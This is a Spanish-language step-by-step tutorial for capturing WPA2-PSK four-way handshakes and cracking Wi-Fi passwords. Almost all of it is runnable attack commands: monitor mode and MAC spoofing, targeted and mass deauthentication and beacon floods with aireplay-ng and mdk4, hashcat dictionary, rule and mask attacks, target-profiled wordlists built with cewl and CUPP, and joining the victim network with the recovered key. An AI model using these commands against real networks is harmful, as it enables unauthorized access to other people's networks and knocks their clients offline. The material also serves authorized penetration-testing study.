wpa2-psk-handshake-y-cracking
WPA2 PSK - Handshake y Cracking
Section titled “WPA2 PSK - Handshake y Cracking”WPA2-PSK (Pre-Shared Key) es el protocolo de seguridad más común en redes domésticas y PYMES. La autenticación se basa en un handshake de 4 vías (4-Way Handshake) que ocurre cada vez que un cliente se conecta al AP.
Cliente AP (Router) │ │ │──── [1] ANonce ──────────────→│ AP envía número aleatorio (ANonce) │ │ │←─── [2] SNonce + MIC ─────────│ Cliente responde con su nonce (SNonce) │ │ y un Message Integrity Code │ │ │──── [3] GTK + MIC ───────────→│ AP envía la clave de grupo (GTK) │ │ │←─── [4] ACK ──────────────────│ Cliente confirma │ │ └──── CONEXIÓN ESTABLECIDA ─────┘
El PTK (Pairwise Transient Key) se deriva de:PTK = PRF(PMK + ANonce + SNonce + MAC_AP + MAC_Cliente)PMK = PBKDF2(Contraseña + SSID)
→ Si capturamos los mensajes 1-4 del handshake, podemos intentar crackear la contraseña offlinePreparación del entorno
Section titled “Preparación del entorno”# 1. Verificar la interfaz Wi-Fiiwconfigip link show
# 2. Eliminar procesos que interfierenairmon-ng check kill
# 3. Activar modo monitorairmon-ng start wlan0# La interfaz se renombra a wlan0mon
# Verificar modo monitoriwconfig wlan0mon # debe mostrar Mode:Monitor
# 4. (Opcional) Cambiar MAC para anonimatoip link set wlan0mon downmacchanger -r wlan0monip link set wlan0mon upPaso 1 — Reconocimiento de redes
Section titled “Paso 1 — Reconocimiento de redes”# Escanear todas las redes del entornoairodump-ng wlan0mon
# Columnas clave a observar:# BSSID → MAC del AP# PWR → Potencia señal (-30 excelente, -70 débil, -90 fuera de rango)# #Data → Paquetes de datos (indica actividad y clientes activos)# CH → Canal (1-14 en 2.4GHz, 36-165 en 5GHz)# ENC → Cifrado: OPN / WEP / WPA / WPA2 / WPA3# AUTH → PSK (personal) o MGT (enterprise)# ESSID → Nombre de la red
# Sección inferior (STATIONs):# STATION → MAC del cliente conectado# BSSID → AP al que está conectado# Probes → Redes que el cliente busca activamente
# Para escanear también 5 GHz:airodump-ng wlan0mon --band a# Ambas bandas:airodump-ng wlan0mon --band abgPaso 2 — Focalizar en el objetivo
Section titled “Paso 2 — Focalizar en el objetivo”# Una vez identificada la red objetivo:airodump-ng wlan0mon \ --bssid AA:BB:CC:DD:EE:FF \ --channel 6 \ -w handshake_captura \ --output-format pcap
# Parámetros:# --bssid → BSSID del AP objetivo# --channel → Canal del AP (fijar el canal mejora la captura)# -w → Prefijo del archivo de salida# El archivo generado: handshake_captura-01.cap
# Dejar esta terminal abierta y esperar a que aparezca:# [ WPA handshake: AA:BB:CC:DD:EE:FF ]# en la esquina superior derecha de airodump-ngPaso 3 — Capturar el Handshake
Section titled “Paso 3 — Capturar el Handshake”Método A — Espera pasiva
Section titled “Método A — Espera pasiva”Si hay clientes conectados con actividad, el handshake se captura cuando:
- Un cliente se desconecta y reconecta voluntariamente
- El AP envía un nuevo handshake por inactividad
- El cliente renueva la sesión
# Simplemente esperar con airodump-ng corriendo# Puede tardar minutos u horas dependiendo de la actividad# Útil en entornos donde el ruido debe ser mínimoMétodo B — Deauthentication (activo, recomendado)
Section titled “Método B — Deauthentication (activo, recomendado)”Enviar paquetes de desautenticación fuerza a los clientes a reconectarse, generando un nuevo handshake.
# Abrir SEGUNDA terminal
# Deauth global — todos los clientes del APaireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon# -0 → tipo de ataque: deauthentication# 5 → número de paquetes deauth (0 = infinito)# -a → BSSID del AP objetivo
# Deauth dirigido — un cliente específico (menos ruidoso)aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon# -c → MAC del cliente objetivo (de la lista de STATIONs)
# Deauth continuo hasta capturar el handshake (con precaución)aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon# Cuando veas el handshake en airodump-ng → Ctrl+C
# Volver a Terminal 1 y verificar:# [ WPA handshake: AA:BB:CC:DD:EE:FF ] → capturado ✅Método C — Deauth con mdk4 (más agresivo)
Section titled “Método C — Deauth con mdk4 (más agresivo)”# mdk4 puede generar deauth masivo de forma más efectiva# SOLO si el método A/B no funciona
# Deauth masivo en el canalmdk4 wlan0mon d -c 6 -b lista_bssid.txt# Crear lista_bssid.txt con el BSSID del AP objetivo
# Beacon flood (confunde al cliente para reconectar)mdk4 wlan0mon b -n "NombreRedObjetivo" -c 6Paso 4 — Verificar el handshake capturado
Section titled “Paso 4 — Verificar el handshake capturado”# Método 1: aircrack-ng (verificación rápida)aircrack-ng handshake_captura-01.cap# Output esperado:# 1 handshake → AA:BB:CC:DD:EE:FF → NombreRed
# Si muestra "No valid WPA handshakes found" → repetir la captura
# Método 2: Wireshark (verificación detallada)wireshark handshake_captura-01.cap# Filtro: eapol# Debe haber 4 paquetes EAPOL (mensajes 1, 2, 3, 4)# Los mensajes 2 y 4 son los que permiten crackear# Mínimo necesario: mensajes 1+2 o 2+3
# Método 3: cowpattycowpatty -r handshake_captura-01.cap -c# "valid 4-way handshake" → handshake completo ✅# "incomplete 4-way handshake" → repetir captura
# Método 4: pyritpyrit -r handshake_captura-01.cap analyzePaso 5 — Convertir al formato de hashcat
Section titled “Paso 5 — Convertir al formato de hashcat”# hashcat usa su propio formato (.22000 para WPA o .hccapx legacy)
# Método recomendado: hcxtoolshcxpcapngtool -o hash.22000 handshake_captura-01.cap
# Verificar que el hash se generó correctamentecat hash.22000# Debe mostrar líneas con formato:# WPA*02*HASH*BSSID*CLIENTMAC*ESSID*...
# Método alternativo (formato .hccapx — legacy)hcxpcaptool -z hash.hccapx handshake_captura-01.cap
# Si hcxtools no está disponible:cap2hccapx handshake_captura-01.cap hash.hccapxPaso 6 — Cracking con aircrack-ng (CPU)
Section titled “Paso 6 — Cracking con aircrack-ng (CPU)”# Ataque por diccionario básicoaircrack-ng handshake_captura-01.cap \ -w /usr/share/wordlists/rockyou.txt
# Especificar el BSSID si hay varios handshakes en el archivoaircrack-ng handshake_captura-01.cap \ -w /usr/share/wordlists/rockyou.txt \ -b AA:BB:CC:DD:EE:FF
# Wordlists específicas para Wi-Fi (más probabilidades de éxito)aircrack-ng handshake_captura-01.cap \ -w /usr/share/seclists/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt
# Indicadores de progreso:# KEY FOUND! [ contraseña ] → éxito ✅# Passphrase not in dictionary → probar otra wordlistPaso 7 — Cracking con Hashcat (GPU — mucho más rápido)
Section titled “Paso 7 — Cracking con Hashcat (GPU — mucho más rápido)”# Modos de hashcat para WPA:# -m 22000 → WPA-PBKDF2-PMKID+EAPOL (formato moderno, recomendado)# -m 2500 → WPA/WPA2 (formato .hccapx, legacy)
# ===== ATAQUE POR DICCIONARIO =====hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt
# Con verbose para ver el progresohashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt -w 3
# Mostrar la contraseña si ya fue crackeada anteriormentehashcat -m 22000 hash.22000 --show
# ===== ATAQUE CON REGLAS (expande el diccionario) =====# Las reglas transforman cada palabra: mayúsculas, añadir números, leetspeak...
# best64.rule → 64 transformaciones comuneshashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule
# dive.rule → reglas más exhaustivas (más lento pero más completo)hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/dive.rule
# Combinar múltiples reglashashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ -r /usr/share/hashcat/rules/toggles1.rule
# ===== ATAQUE POR MÁSCARA (fuerza bruta con patrón) =====# Máscaras de hashcat:# ?l = minúscula (a-z)# ?u = mayúscula (A-Z)# ?d = dígito (0-9)# ?s = especial (!@#$...)# ?a = cualquier carácter printable
# 8 dígitos (contraseñas telefónicas — muy comunes en routers)hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d
# 9 y 10 dígitoshashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d?dhashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Patrón: Mayúscula + 5 minúsculas + 3 dígitos (típico de contraseñas "seguras")hashcat -m 22000 hash.22000 -a 3 ?u?l?l?l?l?l?d?d?d
# Patrón: palabra + 4 dígitoshashcat -m 22000 hash.22000 -a 3 ?l?l?l?l?l?l?d?d?d?d
# Rango de longitudes con incrementhashcat -m 22000 hash.22000 -a 3 --increment --increment-min 8 \ --increment-max 12 ?a?a?a?a?a?a?a?a?a?a?a?a
# ===== ATAQUE DE COMBINACIÓN (dos diccionarios) =====# Concatena palabras de dict1 con palabras de dict2hashcat -m 22000 hash.22000 -a 1 nombres.txt numeros.txt# Resultado: "Pedro123", "Maria2024", "Juan1990"...
# ===== WORDLIST BASADA EN EL OBJETIVO =====# Generar wordlist personalizada con el nombre del SSID, empresa, ciudad...cewl https://empresa.com -d 2 -m 5 > cewl_empresa.txt
# crunch para contraseñas con patrón conocidocrunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 \ -t NombreRed@@@@ -o wordlist_custom.txt
# CUPP para contraseñas basadas en perfil personal (útil en auditorías)python3 cupp.py -i# Introduce nombre, fecha de nacimiento, mascota, etc.# Genera wordlist específica
# ===== VERIFICAR RESULTADO =====hashcat -m 22000 hash.22000 --show# Si crackeado: HASH:CONTRASEÑAConectarse a la red tras crackear
Section titled “Conectarse a la red tras crackear”# Desactivar modo monitor y volver a modo managedairmon-ng stop wlan0mon
# Conectar con la contraseña obtenidanmcli dev wifi connect "NombreRed" password "ContraseñaEncontrada"
# O con wpa_supplicantwpa_passphrase "NombreRed" "ContraseñaEncontrada" > /etc/wpa_supplicant.confwpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf -Bdhclient wlan0Troubleshooting frecuente
Section titled “Troubleshooting frecuente”# Problema: "No valid WPA handshakes found"# → Los paquetes EAPOL capturados están incompletos# → Repetir la captura más cerca del AP# → Asegurarse de que el cliente se reconecta (esperar el handshake completo)# → Usar -c para dirigir el deauth al cliente específico más activo
# Problema: El cliente no se reconecta tras el deauth# → El AP puede estar filtrando deauth frames (Management Frame Protection)# → Probar con más paquetes: aireplay-ng -0 20 ...# → Usar mdk4 para un ataque más intensivo
# Problema: hashcat dice "No hashes loaded"# → El archivo .22000 está vacío o mal formado# → Verificar con: cat hash.22000# → Regenerar con hcxpcapngtool
# Problema: La tarjeta no inyecta paquetes# Verificar inyección:aireplay-ng -9 wlan0mon# "Injection is working!" → funciona# Si no: probar con el driver correcto o usar otra tarjeta
# Verificar que estás en el canal correcto:iwconfig wlan0mon channel 6Hashcat con GPU es 100-1000x más rápido que aircrack-ng con CPU para el cracking. Si tienes GPU dedicada, siempre usar hashcat. En una GTX 1060 se pueden probar ~400.000 contraseñas/segundo contra WPA2.
Las reglas de hashcat son más efectivas que tener una wordlist más grande.
best64.rulesobre rockyou.txt prueba 64 variaciones de cada contraseña: con mayúsculas, números añadidos, caracteres especiales — multiplicando la cobertura por 64 sin aumentar el diccionario.
Si el AP tiene Management Frame Protection (802.11w) activo, los paquetes de deauth serán ignorados. En ese caso usar el PMKID attack (que no requiere deauth) o Evil Twin para forzar la reconexión.